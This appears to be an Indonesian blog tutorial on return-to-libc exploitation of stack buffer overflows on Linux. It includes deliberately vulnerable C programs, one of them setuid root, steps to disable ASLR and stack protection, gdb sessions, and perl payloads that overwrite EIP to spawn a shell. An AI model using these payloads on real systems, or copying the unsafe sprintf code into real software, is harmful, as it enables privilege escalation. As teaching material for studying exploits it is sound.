Eksploitasi Return to libc di Linux author: ev1lut10n for better view article: http://myw1sd0m.blogspot.com/2011/01/eksploitasi-return-to-libc-linux.html (beberapa teks bergeser di sini krn pico netbsd ) my blog : http://myw1sd0m.blogspot.com jargon: sfp = stack frame pointer Dengan teknik standar saat stack based buffer overflow (seperti artikel yang pernah saya tulis 1 tahun lalu), jika kernel korban menerapkan non executable stack maka shellcode kita tidak akan bisa dieksekusi, oleh karena itu diperlukan teknik return into libc ini. Teknik ini berhasil jika kita bisa melakukan overwrite pada return address dengan alamat fungsi library c, misal: system(), selain teknik ini ada teknik lain yahng lebih bagus tapi tidak akan dibahas sekarang. Coba perhatikan gambaran dari program yang terkena stack based bof berikut ini: (misal buffer size: 16 dimana terjadi malicious input string A (24 bytes)) |AAAAAAAAAAAAAAAA|AAAA|AAAA|AAAA buffer =16 sfp ret di sini terjadi stack based bof di mana program akan mengalami crash dan eksekusi terjadi pada return address (eip) yang dioverwrite, perhatikan bedanya: serangan biasa | nop nop nop | ret | shellcode | (args) (ebp) (eip) serangan dengan return to libc <------stack------ ------------alamat-------------> | buffer | fungsi standar (libc) | fake return | /bin/sh (-> hanya contoh) (args) (ebp) (eip) untuk uji coba pertama kita siapkan sedikit kode c yang mengandung bug: filename: bug.c ----------------------- //stackbof.c #include <string.h> #include <stdio.h> fungsi_yang_vulner(char *temp1, char * temp2) { char bufer[400]; sprintf(bufer,temp2); printf("\nIsian data: %s %s\n",temp1,temp2); } int main(int argc, char * argv[]) { fungsi_yang_vulner(argv[1],argv[2]); printf("\nIsian data Anda: %s %s \n",argv[1],argv[2]); } kompile : ev1lut10n@bt:~$ gcc stackbof.c -fno-stack-protector -mpreferred-stack-boundary=2 -o stackbof ev1lut10n@bt:~$ sudo chown root:root stackbof ev1lut10n@bt:~$ sudo chmod u+s stackbof ev1lut10n@bt:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0 ------------------------- ketikkan ini jika ingin agar ada core dump : --------------------- ulimit -c unlimited --------------------- buka gdb: ------------------------- gdb -q stackbof (gdb) run argumen1 `perl -e 'print "A"x407'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print "A"x407'` Isian data: argumen1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () yup tingal 1 byte lagi teroverwrite penuh. (gdb) run argumen1 `perl -e 'print "A"x408'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print "A"x408'` Isian data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x1a7 423 ecx 0x0 0 edx 0xb7f0f0d0 -1208946480 ebx 0xb7f0dff4 -1208950796 esp 0xbff9e1b8 0xbff9e1b8 ebp 0x41414141 0x41414141 esi 0x8048490 134513808 edi 0x8048340 134513472 eip 0x41414141 0x41414141 eflags 0x210292 [ AF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) terlihat eip sudah teroverwrite penuh dengan string A (hex=41). set break point di main: (gdb) break main Breakpoint 1 at 0x8048434 (gdb) p system $1 = {<text variable, no debug info>} 0xb7ee0ac0 <system> (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print "A"x408'` Breakpoint 1, 0x08048434 in main () Current language: auto; currently asm Selanjutnya cari alamat memori untuk system dan execl: (gdb) p system $1 = {<text variable, no debug info>} 0xb7eaaac0 <system> * Setting environ shell $ export MYSHELL=/bin/sh untuk menemukan alamat /bin/sh : #include <stdio.h> void main(){ char* shell = getenv("MYSHELL"); if (shell) printf("%x\n", (unsigned int)shell); } ev1lut10n@bt:~$ ./find bffffea8 kembali ke jendela gdb: (gdb) x/s 0xbffffea8 0xbffffea8: "n/sh" ok berarti : (gdb) x/s 0xbffffea0 0xbffffea0: "/bin/sh" (gdb) ditemukan alamat /bin/sh pada 0xbffffea0 dienkode ke endian menjadi: \xa0\xfe\xff\xbf (gdb) p exit $1 = {<text variable, no debug info>} 0xb7e9fd00 <exit> ditemukan alamat exit pada 0xb7e9fd00, enkode menjadi : \x00\xfd\xe9\xb7 jumlah byte yang diperlukan untuk total overwrite eip=408 408-4=404 alamat untuk system() = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7 Demi untuk mewujudkan kondisi ini: penyisipan junk : \x00\xfd\xe9\xb7 |A sebanyak 400 biji || 0xb7eaaac0 (alamat memori sistem) || 4byt || 0xbffffea0(alamat /bin/sh) ______________________________________________________________________________________ argumen ebp eip r `perl -e 'print "A"x404 . "\xc0\xaa\xea\xb7" . "4byt" . "\xa0\xfe\xff\xbf";'` * Contoh dengan Buffer yang Lebih Kecil /* bug.c */ #include <stdio.h> int main(int argc,char *argv[]) { setuid(0); char b[5]; printf("\nadding : %s",argv[1]); sprintf(b,argv[1]); printf("\nuser input:%s\n",&b); } buka gdb $ gdb -q bug (gdb) r `perl -e 'print "A"x12'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x12'` adding : AAAAAAAAAAAA user input:AAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () (gdb) 1 byte lagi eip teroverwrite penuh (gdb) r `perl -e 'print "A"x13'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x13'` adding : AAAAAAAAAAAAA user input:AAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) (gdb) p system $1 = {<text variable, no debug info>} 0xb7eaaac0 <system> * Setting environ shell $ export MYSHELL=/bin/sh untuk menemukan alamat /bin/sh : #include <stdio.h> void main(){ char* shell = getenv("MYSHELL"); if (shell) printf("%x\n", (unsigned int)shell); } ev1lut10n@bt:~$ ./find bffffea8 kembali ke jendela gdb: (gdb) b main Breakpoint 1 at 0x804842a (gdb) run Starting program: /home/ev1lut10n/bug Breakpoint 1, 0x0804842a in main () Current language: auto; currently asm (gdb) x/s 0xbffffea8 0xbffffea8: "n/sh" (gdb) x/s 0xbffffea0 0xbffffea0: "HELL=/bin/sh" (gdb) x/s 0xBFFFFEA2 0xbffffea2: "LL=/bin/sh" (gdb) x/s 0xBFFFFEA5 0xbffffea5: "/bin/sh" (gdb) ditemukan alamat /bin/sh pada 0xbffffea5 dienkode ke endian menjadi: \xa5\xfe\xff\xbf jumlah byte yang diperlukan untuk total overwrite eip=408 13-4=9 alamat untuk system() = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7 Demi untuk mewujudkan kondisi ini: penyisipan junk : TTTT (x54 sebanyak 4 biji) |A(9x) || \xc0\xaa\xea\xb7(sistem) || TTTT || \xa5\xfe\xff\xbf(alamat /bin/sh) ______________________________________________________________________________________ argumen ebp eip sehingga r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . "\xa5\xfe\xff\xbf";'` Dan jika berhasil maka tampilanya sbb: ----------------------------------------- ev1lut10n@bt:~$ gdb -q bug (gdb) r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . "\xa5\xfe\xff\xbf" ;'` Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" . "\xa5\xfe\xff\xbf";'` adding : AAAAAAAAA????TTTT???? user input:AAAAAAAAA????TTTT???? sh-3.2$ --------------------------------------------- thanks to : all devilzc0de crews and members greets: superman , chaer newbie, flyf666, kiddies, gunslinger